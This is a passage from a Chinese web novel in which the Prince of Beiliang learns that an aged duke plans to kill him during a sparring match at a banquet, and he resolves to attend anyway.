老夫那个孙子实在是不争气,若不是公主陛下和北凉王发现了他的罪过,陛下及时惩治了他,不知这小子以后还会惹出多大的祸来。” 沈凡扭头看向丹阳公主,眼神里带着几分疑惑。 意思说,这老头儿跟你说的不一样啊,看起来还挺通情达理的。 丹阳公主也没想到郑建山会说出这样的话,心中道了声惭愧,说道: “老国公能这么想本宫深感欣慰,原以为老国公是来问罪的。” “哈哈哈……”郑群山笑道:“殿下此言差矣,老臣为朝廷效力的几十年,这点儿道理还是明白的。 此番除了感谢外,还有想结交一下这位北凉王。” 说着边笑边走到沈凡身前,忽然伸出小蒲扇般的大手往沈凡肩头拍去。 沈凡豁然警觉,躲是来不及了,忙舌尖一顶上牙膛运气相抵。 丹阳公主也被郑建山毫无征兆的这一下惊到了,下意识道了句:“安国公!” 第七十四章:你们谁知道龙虎山 “啪”得一声轻响,郑建山的手已是拍在了沈凡的肩膀上。 让沈凡感到诧异的是,郑建山这一巴掌根本就没用力,就是长辈对晚辈那种拍拍肩的感觉。 自己想错了,这位安国公与郑天泽是两种人,真的想结交自己? 另一边,看到沈凡什么事都没有,丹阳公主不由心里又道了声惭愧,想法与沈凡一样。 就见郑群山已是拉起了沈凡的手道:“老夫今天来还有件事,就是请你明日晌午来老夫府上做客。 一来老夫喜欢习武,想和北凉王切磋切磋。 二来老夫知道北凉王与天泽有段感情债,年轻人么……卿卿我我的事还是顺其自然好。 老夫愿从中调停,让你们成为朋友不敢想,至少不要结仇,毕竟你们还要同朝为官嘛,北凉王可不能驳了老夫的面皮呦!” 说着用善意的笑容看向沈凡,神情仿佛就像爷爷看孙子。 丹阳公主一喜,笑着对沈凡道:“北凉王,能被安老安国公请可是件幸事。” 虽然沈凡一百个不愿意在见到郑天泽,可深知郑建山做为资格最老的勋贵,能邀请自己是份难得的荣耀。 何况丹阳公主还说了那样的话,如果拒绝就不是不给安国公面子了,变相也失了丹阳公主的面子。 至于说切磋武艺的事……这位安国公是武痴是天下人都知道的事,沈凡也没觉得有什么不妥。 想到这,被九十岁的老功勋拉着手沈凡也有些动容,已经不怎么厌恶郑天泽的这个爷爷了,笑着道: “既然安国公如此看得起晚辈,晚辈自恭敬不如从命。” “好好好。”郑建山连说了几个好字,对丹阳公主又拱拱手道:“既如此,老臣告退。” 丹阳公主笑眯眯道:“老国公慢走。” 郑建山走后,丹阳公主对沈凡道:“老臣还是老臣,在大是大非前还是定力的。 明日给你放天假去赴宴,后天来户部,本宫给你这位新六品官安排官职。” “多谢殿下,我还要去兵部看看抚恤银发的怎么样了,告辞。” 沈凡道了声,走到自己的马前,翻身上马向午门外而去。 看着沈凡远去的背影,丹阳公主眨了眨眼,上了车驾后道:“回府。” 沈凡到了兵部时发现,门口只有两个年老的仆人把守。 刚下马,这两个老仆就迎了上来。 其中一人帮着牵马,另一人对着自己鞠躬行礼道:“小人拜见北凉王”,让沈凡感觉倒跟回家一样。 “本王的两个护卫在里面么?”沈凡问。 “在在,他们都在前厅,小人带您去寻。”仆人道。 “不必了,本王自己去。”沈凡边说边走进大门,径直往前厅走去,发现偌大的兵部衙门里几乎也没有什么人。 寻到徐盛和丁奉后才得知,原来兵部衙门里的人,几乎都被派下去发病亡军士的抚恤银了。 徐盛还告诉自己,兵部尚书段传福本来是在这里坐镇的。 可就在刚才,一道圣旨下来将他骂了个狗血淋头,罚俸一年,留职察看。 段传福吓坏了,当即就带着兵部侍郎赵应龙出了衙门,说是要改过自新,亲自去发放抚恤银。 沈凡对这个结果很满意,告诉丁胜和徐盛不用在这里待了,跟他一起回王府。 徐盛不解的问:“难道不用在这里继续盯着吗?” 沈凡告诉他:“这道圣旨下来后,现在段传福比谁都上心,用不着在这里监督了。” 徐盛和丁盛觉得沈凡说的极有道理,便与沈凡一起骑马回返王府。 此时的天色已经彻底暗了下来,街上的行人也逐渐稀少,不过在街道两侧依然可以看到挂着灯笼的小吃摊。 三人打马行走其中,阵阵香气扑鼻而来。 “你们谁知道龙虎山天师府?”沈凡问道。 丁奉有些茫然地摇摇头。 徐盛道:“小的知道这个地方,位于江南西道的雄石镇,是座军事重镇,设有城池和驻军,驻兵约千人左右。” “你怎么知道的这么详细?”沈凡有些诧异的问。 徐盛笑了笑道:“王爷您可能有所不知,十五年前老王爷去江南道剿过匪,曾带着小人在那里驻扎过。” 经徐盛这么一说,沈凡回忆起来了,父王是曾在江南道剿过匪。 自己当时只有四五岁,长大后母亲对自己讲父王的战功时说过,只是父王的战绩太多,自己竟记得那些大仗了,没把这事放在心上。 “你对雄石镇熟吗?”沈凡又问。 徐盛道:“还可以,小人跟着老王爷时在那里任过陪戎校尉,手下百十个弟兄。 剿匪结束后,有二十几个人就留在了那安了家,隔个一两年就有书信往来。” “那就你了!”沈凡看向徐盛道。 这话把徐盛听得一愣:“王爷,什,什么意思?” 沈凡也不隐瞒,将自己帮丹阳公主查黄天师的事说了。 徐盛听了当即道:“王爷有所差遣,小人必全力以赴,不知王爷让小人什么时候走?” “越快越好。”沈凡叮嘱道:“记住,你这次是暗访,到了雄石镇可以找旧部帮忙,不过不要让他们知道你的真实目的。” 徐盛回道:“您放心,他们只知道小人这些年在做买卖,不知道现在跟了您。 小人乔装成商人前往,就说……就说替京城的一个大户找正一道祈福,然后暗查那个黄天师。” 沈凡对徐盛的想法很满意,说道:“你想的很周到,回府后和福伯说一声,需要多少路资管他要就是。 还有,如果查到什么不要来书信,即刻回来报我。” “小人明白。”徐盛说完看向丁奉道:“丁老弟,我不在的这些日子,教张峰武艺的事就劳烦你了。” 丁奉知道徐盛这是给王爷办正事去了,不敢怠慢,拱拱手道:“放心,包在我身上。” 一旁的沈凡点点头,一夹马腹催促马儿跑得更快些,说道:“快点儿走,忙了一天了,回去还能赶上口热乎饭。” 徐盛和丁奉应了声,打马跟上。 正如小王爷所说,忙了一天了,他们现在就想回去喝点儿小酒,好好休息一下。 第七十五章:太子的密信 就在沈凡带着徐盛、丁奉回王府的同时,安国公府宅内。 郑天泽赤裸上身趴在床榻上,王玲瑶正往他背上涂抹着金疮药膏。 鞭伤很深,就算金创药里加了冰片、麻沸散这样的止疼药,每涂抹一下时,还是疼得郑天泽五官错位,发出“嘶”得一声。 站在王灵瑶身后的王父,看到姑爷遭罪的样子,脸上也现出痛苦的神情。 郑天泽每“嘶”一声,他也随着“嘶”一声,仿佛这些伤都在自己身上。 离着床榻一丈外,安国公郑建山端坐在太师椅上看着这一切,表情阴冷。 正这时外屋传来叩门声,随后传来了管家的声音:“老爷,太子殿下派人给您送了封信。” 听到这话几人都看向郑建山,王父和王灵瑶眼中带着惊讶,能得到太子的信,说明安国公与太子关系不一般。 郑天泽却神情有些复杂,他知道太子与爷爷交往甚密,可如今自己被皇上惩罚,不知是祸是福? “灵瑶,你继续给他涂药。”郑建山阴着脸对王玲瑶道,然后起身走向外屋。 就见管家站在门外,身边站着一个身穿百姓服饰的精壮汉子。 郑建山认识这个汉子,此人不止一次乔装给自己送信,对他拱了拱手。 精壮汉子忙谦恭的拱手还礼,从怀里取出一封书信,双手捧着递给郑建山道: “老国公,殿下有令让您当场看信,并让小的带回口信。” 郑建山点点头,撕开信的封口,展开看了看,随即眼中光芒一闪,将书信还给那汉子道: “劳烦回禀殿下,老臣明白了,感谢殿下的关心。” 汉子点点头,从袖中摸出火折子,当着郑建山的面将书信点燃。 眼见火苗将书信焚化殆尽,化做黑灰飘落在地上,汉子才对郑建山再次拱手道:“小人告辞。” 郑建山什么也没说,抬手做了个请的手势。 管家识趣的对那汉子轻声道了句:“请随我走侧门”,然后带着他消失在夜色里。 郑建山警惕的往院子里看了看,将房门关好回到了里屋。 “爷爷,殿下说什么了?”郑郑天泽忍着疼,用力抬起头问道。 此刻,郑建山脸上的阴霾已然消失不见,嘴角带笑道:“太子殿下说了,让你好好养伤。” 又看王灵瑶道:“太子殿下还说了,让你们小两口儿勿要把这件事放在心上,好好为朝廷效力,自不会影响仕途。” 听到这话的王灵瑶郑天泽皆一喜。 王父兴奋的对王灵瑶道:“闺女啊,听见没有,有老国公和太子殿下护着咱们,咱们王家倒不了!” 王灵瑶对父亲点点头,又用敬仰的眼神看了眼郑建山,心中感到无比踏实。 “爷爷,您得替孙儿报仇啊,这口气实在太难消了!”郑天泽看向郑建山哭道。 郑建山眼睛一眯,眼中现出一抹杀气道:“放心吧,沈凡已经答应明天来府上赴宴。爷爷会借着和他比武的机会弄死他!” “哎哟!” 郑天泽忽然发出一声呻吟,原来是王灵瑶手一抖弄疼了他。 “哎呀,没事吧?”王灵瑶忙关切的问。 “没事,没事,你怎么了?”郑天泽问道。 王灵瑶眉头微微一皱道:“你不是说只想借机教训沈凡一下么,怎么会要杀了他?” 郑建山有些诧异的问:“天泽,你没跟灵瑶说吗?” 郑天泽看向王灵瑶笑道:“我是想给你个惊喜,没想到爷爷说出来了。 你放心,爷爷有免死金牌,就算弄死了那小子也不会有大罪,何况又是比武,拳脚无眼。” 郑建山有些动容,看向王灵尧呵呵笑道:“天泽说的没错,放心吧灵瑶,爷爷不会被牵连的,这次我会亲自给你们报仇。” “对,弄死那小子!”一旁的王父咬着牙对王灵瑶道:“你弟弟现在还裹着尿布躺在床上,现在沈凡又要毁了你和天泽的前程,不弄死他难解爹我心头之恨!” 王灵瑶看了看郑建山,看了看父亲,又看了看躺在床上的郑天泽,微微点头。 ……… 沈凡回到王府附近时,天已经黑透了,四周皆笼罩在夜色里,远远看到府门口站着四个提着灯笼的人,甚是醒目。 其中三人身材魁梧,一人身形弱小,正是倪福、韩当、周泰和水仙。 见王爷骑马回来了,四人忙迎了上去。 “大冷的天,你们在这干什么?”沈凡勒住马道。 “王爷您可回来了,我们都在这儿等您呢!”水仙上前抓住马缰绳道。 倪福跟着道:“是啊王爷,早就过了衙门放衙的时辰,见您还不回我们就有些急了。” 沈凡翻身下马道:“事太多,所以耽搁了。” 倪福看向徐盛和丁奉问:“怎么样,王爷第一天办差不顺当吗?” 徐盛呵呵一笑道:“不顺是不顺,不过都被王爷一一化解了,且这一天可是热闹的紧。” “怎么回事?”倪福好奇的问。 徐盛看向沈凡道:“王爷,能说吗?” 沈凡笑了笑道:“他们又不是外人,当然能说。” 徐盛当即就把今天发生的事大概讲述了一下,听得水仙、倪福、韩当、周泰唏嘘不已,都用惊讶和钦佩的眼神看向自家主子。 要知道,查出一个参将贪污,查出王灵瑶和郑天泽用兵过狠,查西北冒赈,进宫面圣……这一桩一件件哪个不是大功,哪个不是大事! 倪福、韩当、周泰很是后悔,早知道是这样也跟着王爷出门了,也能经历一番。 见在倪福几人的追问下,徐盛还要添油加醋再说一遍,沈凡笑着打断他们道:“好了,想说回府说,你们不饿我可饿了。” “对对对,回去说,回去说。”倪福不好意思的笑道。 水仙则对韩当道:“把王爷的马牵走,记得喂温水,多加些干料。” 在灯笼的照耀下,她又见沈凡的貂皮大氅上沾了不少灰尘,忙取出手帕大氅的下摆抽打着道: “瞧您这一身土呦,饭菜早就准备好了,快随奴家进来。” 沈凡笑着点点头,边由水仙抽打着衣裳,边迈步往王府里走。 就在这时,忽听侧旁的暗夜里传来一个苍老的声音:“王爷此举固然干练,可恐怕也招来了祸事!” 沈凡几人豁然一惊…… 第七十六章:老人家,里边请 “什么人?” 随着倪福断喝一声,韩当、徐盛、丁奉、周泰立刻围在沈凡身周,沈凡则把水仙拉到身边护着。 此刻倪福已然拔出了佩刀,他腿脚不好使,一手提着灯笼,一瘸一拐向发出声音的地方走去。 借着灯笼的光亮,众人这才看到,在门口石狮子旁现出了一个身影。 此人很是苍老,长得高大消瘦,穿的长衫上满是补丁,头发胡子都白了,少说也有六七十岁。 脚下还有只瘦弱的黄狗,因为害怕的缘故,尾巴紧紧夹在腿中间。 “你是谁?”倪福用腰刀指向这个老者的鼻尖问道,刀锋在灯笼的照耀下闪烁着寒光。 老者仿若浑然不觉,看向站在台阶上的沈凡道:“王爷可否还记得老夫?” 沈凡微微一楞,随后就认出来了,老者不是别人,正是白天时遇到的那个老头儿。 “倪伯,把刀收了。”沈凡道了句,走下台阶来到老者身前道:“怎么是你?” 老者整理了一下皱巴巴的衣袍,对沈凡拱拱手道:“白天赠饼之恩还未道谢,老夫是特意在这里等王爷的。” “你跟踪我?”沈凡警觉的道,感觉有些不可思议。 自己是从大理寺去兵部,在路过王灵瑶家遇到这老者的,然后被皇上召见,出宫后去兵部找徐盛和丁奉,最后才回王府的。 这老者是怎么一直跟着自己的? 自己怎么一点儿都没察觉,难道他是鬼不成? 老者微微一笑道:“非也,非也,是老夫的耳朵比较长,听到了王爷和两位护卫的对话,这才知道了王爷的身份,故特意在这里等候。” ……原来是自己在与徐盛和丁奉说话时,忽略了这个窝在墙角的老者。 弄清楚状况的沈凡,并没有放松警惕。 因为白天的时候,自己就觉得这老头儿有点儿怪。 当时给他炊饼时,他不但没道谢,反而只顾着和这条狗说话。 刚才又说出那句‘王爷此举固然干练,可恐怕也招来了祸事’的话,更是在脑海中不断回响。 让沈凡在警觉的同时也起了好奇心,对老者也抱拳道:“老人家,不知您刚才说的那句话是何意? “只可意会,不可言传。”老者一副高深莫测的神情回道,甚者看都不看沈凡一眼,弯腰摸了摸黄狗的脑袋。 没想到的是,黄狗根本就不配合。 它已经认出来了,眼前这个身上也都是毛的人,就是白天给自己炊饼的那个人。 本能的挣脱老者的手,屁颠屁颠跑到沈凡脚下,用头蹭着沈凡裘皮大氅的下摆,用力摇着尾巴,嘴里发出“哼哼”的声响。 老者…… “哪来的叫花子,在这里装神弄鬼,还不快滚!”随着倪福轻喝了声。黄狗吓得将尾巴又夹了起来,“呼”得跑回老者身边。 沈凡摆摆手,示意倪福不要说话,再次对老者拱拱手道:“请问老人家尊姓大名,可否将意会之事言说一二?” 老者踢了黄狗一脚道:“老夫姓苏,至于名字就算了,垂垂老矣将死之人,不说也罢! 不过王爷若真想听老夫说意会之事,那还需吃了晚饭再说。” 没等沈凡说话,倪福已是被气乐了,说道:“王爷,您别听这老家伙胡咧咧,这种人小人见多了,就是个混吃混喝的老骗子。” 水仙,徐盛几人也觉得倪伯说的有理,看向老者的神情都是一脸嫌弃。 沈凡却不这么想,不就是吃顿饭吗,就算骗吃骗喝又如何,全当救济一下了。 况且……自己还是隐约觉得这老者不是一般人。 于是也不理会倪伯,对老者做了个请的手势道:“老人家,里边请。” 老者也不说话,只是对沈凡拱拱手,带着黄狗就往王府里走。 倪伯等人见状自不敢再说什么,跟着自家王爷也往府里走。 可刚到府门门口,老者就发现黄狗蹲在门槛外不动了。 任凭怎么拉扯也不起身,只是惊恐的看着高大的门楣,发出“呜呜”的叫声。 老者似乎明白了什么,看向沈凡道:“我想起来了,大黄以前在大户人家门口被打过,看样子得需王爷把它带进去才行。” 沈凡笑着点点头,俯身拍了拍黄狗的脑袋说道:“莫怕,跟我进去吃肉骨头。” 俗话说狗眼看人低,其实是说狗是一种非常有灵性的动物。 黄狗早就看出来了,这个浑身是黑毛的人是这里的老大。 加上这人和蔼的神情与轻声的话语,让它瞬间就没了恐惧,“哈哈”两声跟着沈凡进了大门。 几人绕过影壁墙,进入垂花门后,水仙就对老者道:“这位老先生,请跟我到饭堂用饭吧。” 听到这话的沈凡立刻道:“不,让老先生与我一起吃。” 老者闻言,嘴角撇出一丝笑意。 水仙却愣了下道:“可是王爷,您看他这一身脏兮兮的,怎么进得了小饭堂?” 看着老者身上脏乱不堪的长袍,沈凡想到了什么,说道: “老先生,我没有嫌弃您的意思,只是圣人云‘食无求饱’,是否先洗浴更衣,然后我们再用饭?” 老者抬起袖子闻了闻,皱着眉道:“王爷说的不错,孔圣人的意思是饮食不止是填饱肚子,还要有饮食的礼仪,老夫自当恭敬不如从命。 不过……还请王爷把老夫的这条狗也洗一洗。” 一听这话水仙立马不干了,指着老者道:“你这人怎么这样,还要把狗也洗了!” “水仙,这没你说话的地方。”沈凡瞪了水仙一眼道:“赶快去准备,然后把老先生带到小饭堂,我在那等着。” 见倪福几人还杵在那,说道:“你们去吃饭吧”,说完就自顾去了小饭堂。 “是。”见沈凡生气了,水仙只得应了声,对那老者没好气的道:“带上你的狗,跟我来吧。” 老者也不生气,笑眯眯带着黄狗跟水仙走了。 “倪大哥,我看这老小子一定是个骗子,还连累了水仙姑姑挨说。”丁奉凑到倪福身边道。 徐盛、韩当、周泰几人也点了点头。 倪福却摇摇头道:“现在我也说说不好了。” “怎么说?”丁奉问。 倪福白了他一眼,反问道:“你知道刚才王爷说的话,是孔圣人的话吗?” 丁奉几人面面相看,这一点他们几个大老粗还真没想到。 倪福道:“好了,我们吃饭去,此人是不是骗子,我想王爷一会儿就会知道的。” 第七十七章:这是何意 对小王爷交代的事,水仙心里虽然不乐意,却不敢有一丝懈怠。 吩咐仆人烧热水,准备浴桶,又命两个男仆给老者准备衣服,伺候他洗浴。 吩咐完这些后,这才离开老者,正准备去小饭堂,看看王爷那还有什么吩咐。 正这时,就见门房老王急匆匆跑过来道:“水仙姑姑,您快去看看,丹阳公主殿下派人给王爷送东西来了。” “什么?”水仙立刻跟着老王来到府门处。 在灯笼的照耀下,就见门口站着一位二十多岁,体态丰盈的宫女,身后停着一辆马车,上面装着两个大木箱子。 门房老王介绍道:“水仙姑姑,这位是丹阳公主殿下的女官。” 说完又看向那位体态丰盈的宫女道:“这位奶奶,这位是我们王府的内宅大总管,水仙姑姑。” “水仙姑姑?”体态丰盈的宫女上下打量几眼水仙笑道:“你叫我艳姑姑就行,快去通报你家主子,公主殿下让我把皇上赏他的一万两银子送来了。” 一万两银子……皇上赏赐的……水仙的目光看向马车上那两大口木箱,眼睛顿时亮了起来。 她对一个仆人道:“快,叫倪伯命人把箱子搬进来。” 然后又对门房老王道:“把艳姑姑请到前厅,我这就去找王爷。” 说完转身就往府里跑,两条腿快速交替,带起的风把艳姑姑的裙摆都撩起一角。 “这丫头怎么疯疯癫癫的,也配叫姑姑?”艳姑姑叨咕了句,在老王的引领下向王府内走去。 但见府内很干净,走廊和房屋的柱子闪着红色的光,一看就是新刷得漆。 只是见不到那些大户人家的石雕、假山、石桌和石凳,庭院里的灯笼也不多,仆人也极少,看上去节俭的很。 让艳姑姑变相明白了,沈凡为什么那么缺钱。 刚进入前厅,就看到沈凡在水仙的陪伴下从内堂迎了出来。 此刻,倪福、丁奉、徐盛他们也把那两口大木箱子搬进了前厅。 不知为何,一看到沈凡,艳姑姑就想起了被他哄骗吃的那半个橘子,感觉一阵倒牙。 她命人撕下箱子上的封条,打开箱子盖。 一瞬间,两口箱子里的银锭发出诱人的银光,把个水仙看得不禁发出一声轻呼,三步并两步凑了过去。 面无表情艳姑姑对沈凡屈膝施了个礼,取出一张盖着户部印章的收据道: “北凉王,奴婢封公主之命,将皇上赏赐的一万两银子带来了,请北凉王查收后,就在收据上签个字。” 这位艳姑姑的气好像有点儿不顺呀,怎么感觉不像是送银子来的…… 沈凡心里嘀咕了句,紧接着就猜到了其中的缘由。 八成是还记着橘子的事。 看来有什么样的主子,就有什么样的奴仆,可人家是来送银子的,礼节上自不能怠慢。 沈凡拱拱手道:“有劳艳姑姑了,外面天冷,快坐下喝杯热茶……水仙,上小点心。” “啊……王爷您说什么?”眼珠子快掉进银子里的水仙没听清,问道。 “没出息!”沈凡含笑骂了句道:“让倪伯他们点银子,你赶快给艳姑姑上小点心。” “哦。”水仙应了声,刚要往外走,却忽然想到了什么道:“王爷,府里没小点心了。” “怎么回事?”沈凡问。 水仙有些不好意思的道:“今天府里的事多,人手忙不过来,忘了买了。 不过奴婢刚做了甜烧饼,不知道行不行?” “也行,赶快拿来。”沈凡说道,又看向艳姑姑笑了笑:“别介意啊。” 坐在椅子上的艳姑姑皮笑肉不笑的道:“不介意,北凉王府刚建不久,人手不够嘛!” 心里却在气恼,就冲你骗我吃的那半个橘子,谁知道你是不是故意的? 想到出门前殿下交代的事,她圆润的嘴角一撇,又道:“北凉王还请快些清点,奴婢还要回去复命。” “好。”沈凡应了声,吩咐倪福等人抓紧清点银两。 这时水仙端着一个托盘走了进来,上面摞着几块烧饼,放在了艳姑姑旁边的桌案上。 “艳姑姑请。”沈凡道。 见她没有拿的意思,便亲手拿起一块递给她,自己也拿起一块咬了口。 下一瞬就是眼中一亮,看向水先道:“味道不错嘛,怎么没见你做过?” 水仙笑着道:“谢王爷夸奖,这是奴婢老家扬州府的特色,需用松子,核桃、菜油、面粉、加上砂糖炉烤而成。 头两年苦了些,奴婢就没给王爷做过。” “不错不错!”沈凡边夸边吃,一会儿就吃了两个。 艳姑姑见沈凡吃得香甜,加之又不好把手里的烧饼放回去,就咬了一口,然后就连吃了四个。 天知道这个水仙怎么把烧饼烤的这么好,比公主府的那些小点心好吃多了。 松子的味道十分浓郁,饼上还有一层糖霜,好吃,真好吃! 眼见艳姑姑又吃上了第五块,盘子里就剩下两块,沈凡就不好意思再吃了,问水仙:“还有吗?” “有,锅里还烙着呢。”水仙回道。 沈凡道:“都拿来,装盒让艳姑姑带回去慢慢吃。” 水仙立刻跑了出去,不一会儿的功夫就拿着一个食盒回来了,放在桌子上。 有了美食加持的艳姑姑心情已经好了起来,对水仙笑了笑,看向沈凡道:“那就多谢王爷了。” 沈凡自然乐见她开心,摆手道:“区区几块饼没什么,过两日我让水仙再多烙些给你送去。” 这小子还是很会来事嘛,既如此就不为难你了…… 艳姑姑的心情更好了,舔了舔手指上的烧饼渣子,从袖筒里取出一个袖袋递给沈凡道:“王爷,把这个拿着吧。” “什么?”沈凡接过来问道。 “看看就知道了。”艳姑姑又拿起一块烧饼道。 沈凡打开袖袋,发现里面竟装着一沓银票。 数了数有五张,五千两的四张,两千两的一张,共两万两千两, 沈凡立刻就反应到了什么,不过为了更叫确定,还是问道:“这是何意?” 第七十八章:老家伙,原来在跟我玩儿阴的 见沈凡问自己这些银票的事,艳姑姑道:“王爷不是老怕公主殿下不还您银子么,这回王爷可以放心了。” 还真是我的银子……沈凡心中一喜,可随即就发觉有些不对,问道: “我记得是欠两万一千两,怎么多了一千两?” 艳姑姑微微一笑道:“那是利钱,殿下说了,不能让王爷觉得她占了便宜。” “是吗!”沈凡终于控制不住笑出来道:“还请回去代我多谢公主殿下。” 看着沈凡兴奋的样子,艳姑姑暗道。 不是看在你小子用这么好吃的烧饼招待的份儿上,本姑姑才不会把银票给你呢! 原来是在临行前,丹阳公主交代过。 如果北凉王对自己以礼相待,就把银票给他,如果表现的失礼,那就把银票拿回来。 至于什么时候再给,就看公主殿下的心情了。 沈凡哪知道这些事,将银票给了水仙道:“收好。” 两万两千两银票,加上一万两现银,就是三万两千两…… 水仙一颗芳心砰砰狂跳,感觉被这突如其来的幸福都要砸晕了,这下王府的开销就全解决了! 另一边,倪福他们已经点完了,一万两正好不多不少,沈凡高兴的在收据上签上名,送艳姑姑出府。 开始时艳姑姑不让,说哪有王爷送奴婢的规矩。 沈凡不失时宜的告诉她,就算对那半个橘子表示歉意了, 这让艳姑姑对沈凡的印象又好了不少,再次拒绝。 看到两人拉拉扯扯,水仙小声对倪福道:“倪伯,王爷怎么对她这么客气,不就是公主的一个宫女么?” 倪福脸色一变道:“小点儿声,她可不是一般的宫女,听说是伴着丹阳公主长大的大女官。” “原来是这样……”水仙吐了下舌头。 别看自己不太了解官场,可对这种厉害角色还是知道些的。 对皇族而言,大小官都是臣子,自家王爷也是外人,得防着,而太监和宫女却是自己人。 王爷这样恭敬她,就是阎王好见,小鬼难缠,真是太不容易了! 就在水仙心疼地看向沈凡时,就见门房老王跑进厅里对沈凡道:“王爷,丹阳公主府又来人了,说是有急事要见你。” 什么……沈凡闻言一惊,下意识反应是不是丹阳公主又反悔了,不想还自己银子,可随即就把这个念头掐灭了。 以自己对这小娘们的了解,她是豪横了些,但绝不是那种小肚鸡肠的女子。 艳姑姑问门房老王:“来的人是谁?” 老王回道:“他说他叫张凤。” 听到这话,艳姑姑和沈凡不约而同看向对方,神情都有些惊讶。 这时,就见一个身穿宦官袍服,头发花白的太监急步从垂花门走进来。 “张总管,您怎么来了?”艳姑姑上前问道。 张凤也不回话,只是看了眼艳姑姑,便径直来到沈凡面前道:“王爷,有急事,我们屋里说。” “张总管请。”沈凡忙把张凤让进前厅。 艳姑姑、水仙、倪福、徐盛几人见状也都跟了进去,沈凡见张凤没有阻止的意思,就没阻拦。 “张总管请坐。”沈凡手心向上,指向客坐道。 “不了。”张凤从怀里取出一封信道:“王爷你看看这个。” 沈凡接过,发现信封上有一处明显破痕,问道:“这是怎么回事?” 张凤:“王爷看了内容在说。” 沈凡展开信,看到上面就写着一行字。 公主殿下,转告北凉王,安国公比武是假,索命是真,不可前往。 沈凡眼睛瞬间瞪大,细心的他看了看信的下方,没有署名,翻过来看,后面是空白的。 见沈凡看向自己,张凤深吸了口气,这才道: “半个时辰前,有人用箭将这封信射进了公主府,殿下看后很惊讶,让咱家即刻把信交给王爷。 还给王爷带来了口信,说不管此事是真是假,明日就不要赴宴了,安国公有免死金牌,真要是以比武的名义伤了王爷也无大罪。” 听到这话,包括艳姑姑在内的所有人都现出难以置信的神色。 老家伙,原来在跟我玩儿阴的……沈凡皱着眉问:“知道送信的人是谁么?” 张凤摇摇头:“据护卫说,并没有发现可疑之人。 王爷也知道,箭能射百步以上,天又这么黑,且送信的人明显不想让我们知道他的身份,根本无从查起。 不过公主殿下说,送信的人应该是关心王爷的,让王爷看看能否从笔记上辨认一二。” 不用丹阳公主提醒,沈凡刚才已经这样做了,又仔细看了一遍信道: “我看不出来是谁的笔迹,不过从字体上来看写的很潦草,笔锋回转之处也显得很僵硬,应该是故意用左手写的。” 张凤略显惊讶的道:“何以见得?” 沈凡也不答话,走到书案前,用左手在纸上写起信上的内容来,写完后道: “张总管你看,我没有临摹,只是用自己的笔体抄了一遍。 字迹虽不同,但在笔锋回转处确有相似之处,现在可以肯定的说,写信的人就是用左手写的。 当然,如果那人是左撇子的话,就是用右手写的,看来这个人是不想让我们知道他的身份。” 张凤道:“没想到王爷还有这一手。” 沈凡道:“是父王教我的,他说要学会认部下的字迹,这样在战场上就不会让敌人伪造钻空子……会是谁呢?” 见沈凡在沉思,张凤道:“依咱家看,不管是什么人,还是宁可信其有不可信其无,按公主殿下说的,王爷不能前往。” 侧旁的水仙轻声问倪福:“这个安国公很厉害吗?” 不待倪福说话,徐盛抢话道:“刚才在午门我见到他了,别看已经是九十的人了,可一看就是从千军万马里杀出来的,煞气逼人。” “不错。”丁奉也道:“连我看他都觉得发怵。” 水仙不解的问:“九十岁了,怎么可能?” 倪福说道:“我没跟安国公出过征,却知道此人乃我朝第一勇士,武功高得吓人。” 这时忽听张凤发出一声叹息道:“咱家见过安国公出征。” 第七十九章:有些事躲得过初一躲不过十五 “您怎么见过安国公出征?”沈凡问。 张凤道:“那是在三十年前,咱家刚入宫不久,伺候当时的内务府副总管去漠北战场监军。 亲眼目睹安国公一人一马,在敌军中杀了半个时辰力不竭,连斩十余名敌将。 最猛的是,他用铁锤把一个敌将从腰砸断,又把脑袋生生连着脊椎骨拽了出来,吓得敌军肝胆俱裂,落荒而逃。” 沈凡眉头皱得更紧,问道:“张总管,我看您的武功也不弱,如果与他比试可有胜算?” 张凤沉吟了下道:“没有。” 这话把水仙听得娇躯一抖,脑补出了安国公如人形野兽般,提着一颗连着半截脊椎骨的头颅,在千军万马中冲杀的样子。 画面一转,脑海里又出现了那颗头颅是沈凡的,不禁失声叫道:“王爷,您不能去啊!” “水仙姑姑说的对,不能去!” “对,王爷您不能去……” 丁奉、倪福、徐盛、韩当、周泰几人也纷纷说道。 沈凡没有理会众人,眼中现出一道凌冽的寒光,看向张凤道: “请转告公主殿下,不管此事是真是假,如果拒绝就是失礼,所以我要去。” 张凤道:“王爷,老奴还是劝您听公主殿下的话。” 艳姑姑也道:“是啊,宁可信其有,不可信其无。” 沈凡笑了笑道:“就算是真的又如何,有些事躲得过初一躲不过十五,更何况是被安国公盯上了。” 艳姑姑道:“他是有免死金牌的人,真要是伤了你也没人说得清。” 沈凡眼睛微咪,缓缓道:“我父王生前曾对我说过,不惹事但也不要怕事,在说还不一定谁死呢!” “王爷说的对,还特么不一定谁死呢,我同您一起去。”倪福道。 “还有我。” “我也去。” “我也去,原誓死护王爷周全!” 丁奉,徐盛、韩当、周泰也都跟着道。 沈凡对着他们点点头。 “我也去!”水仙叫道。 沈凡:“你去管什么用?” 水仙道:“我可以用银子把京城里的镖师都请来。” 沈凡被逗乐了:“咱们的银子是大风刮来的么,再说请镖师也没用,他们谁敢趟这浑水,你还是在府里等我回来。” 水仙不说话了,红着眼圈站在那。 看到这些人对沈凡的态度,张凤眼中现出几分钦佩,对沈凡拱拱手道: “既如此,那咱家就先回去给殿下复命了。” 沈凡道:“我送你。” “王爷请留步。”张凤回绝了,想了想又道:“王爷明日去时一定要身穿软甲,带上防身的短兵器。” “多谢张总管。”沈凡对张凤拱拱手道,还不忘给了艳姑姑一个善意的笑容。 艳姑姑本来还想劝沈凡不要去,不过见此情景只好作罢,对着沈凡行了个屈膝礼道:“还请王爷小心”。 言罢,就跟着张凤离开了。 张凤和艳姑姑走后,偌大的前厅陷入一片寂静,众人都看向沈凡。 就在这时,有仆人进来禀告道:“王爷,那位老先生已经沐浴更衣完了,现在前厅外。” 沈凡点头表示知道了,看向神情紧张的众人笑道:“都看我作甚,没什么了不得的。 你们去做些准备,记住每人弄一副软甲,等我和老先生吃过饭后再去找你们……水仙你随我来。” 说完就带着水仙出了前厅,随即就是一愣,就见那个破衣烂衫的老者已变了模样。 换上了件深蓝色的棉长袍,头上戴着一顶文士帽,原来乱糟糟的胡须和头发梳得整整齐齐。 脸上虽然依旧带着菜色,可那双眼睛里却透着智慧的光芒,给人以一种长者风范。 就连他脚下的那条黄狗,因为洗了澡的缘故也精神了不少,毛也顺了也亮了。 “先生好面相!”沈凡赞了句。 老者低头打量了一下自己,轻叹口气道:“老夫已经很久没这么精致了。” 